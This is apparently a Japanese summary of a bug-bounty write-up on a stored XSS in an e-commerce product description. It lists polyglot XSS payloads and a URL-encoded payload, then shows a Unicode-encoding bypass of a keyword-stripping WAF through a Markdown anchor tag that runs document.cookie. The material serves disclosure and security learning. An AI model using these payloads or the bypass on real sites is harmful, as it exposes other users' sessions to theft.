Hello there, ('ω')ノ
製品説明に保存されたXSSを。
脆弱性:
保存されたXSS
記事:
https://emanuel-beni.medium.com/stored-xss-on-product-description-high-400-2f078fd70fd2
保存されたクロスサイトスクリプティングは。
アプリケーションがユーザからの信頼できない悪意のあるコードを保存する脆弱性で。
攻撃の複雑さが低くて、致命的であるという組み合わせで。
ほとんどのeコマースWebサイトでは。
売り手が商品ページに独自の商品説明を追加できて。
これはStoredXSSの攻撃ベクトルの1つであるため。
簡単なテスト用に下記のXSSペイロードを入力することに。
1.Polyglot Payload
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
2.Polyglot Payload
‘“>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’ →”></script><script>alert(1)</script>”><img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id&%23x29;>’”><img src=”http://i.imgur.com/P8mL8.jpg">
3.URL Encoded
%7d%29%3b%7d%29%3balert%60xss%60;%3c%2f%73%63%72%69%70%74%3e
⇩
});});alert`xss`;</script>
4.HTML Injection Check
‘“><a href=’www.anything.com’>Click Here</a>
基本的に利用可能なすべてのペイロードを使用して確認することはしなくて。
通常は、上記のXSSペイロードで反射の可能性をチェックしていて。
ペイロードを入力した後、最初にHTMLインジェクション。
つまり、実行されたHTMLタグをチェックして。
WebアプリケーションがHTMLタグを実行する場合は。
XSSに利用できる可能性が高くなるものの。
残念ながら、スクリプトタグが実行されず。
その結果、下記の結論に。
Webアプリは、WAF(Webアプリケーションファイアウォール)を実装していて。
WAFは、下記のような機密性の高いキーワードを削除していて。
「javascript」と「alert」
製品の説明では、Markdownを使用してユーザの入力を解析しているようで。
Markdownは、プレーンテキストのテキストドキュメントに。
フォーマット要素を追加するために使用できる軽量のマークアップ言語で。
Markdownはユーザに高いカスタマイズ性を提供するため。
設定ミスが頻繁に発生して。
そこで、上記の条件を回避できる可能性のあるペイロードを探すことに。
最も一般的なバイパスの1つがUnicodeエンコーディングを使用することで。
下記のペイロードを入力すると。
<a href=javascript:alert(document.cookie)>ClickMe</a>
⇩
<a href=javascript:alert(document.cookie)>ClickMe</a>
https://www.gadgety.net/shin/trivia/translate.html
XSSとHTMLインジェクションが成功して。
Webアプリケーションは、Unicodeをプレーンテキストにデコードして。
アンカータグがクリックされたときにペイロードを実行して。
アンカータグをクリックすると、document.cookieが表示されて。
Best regards, (^^ゞ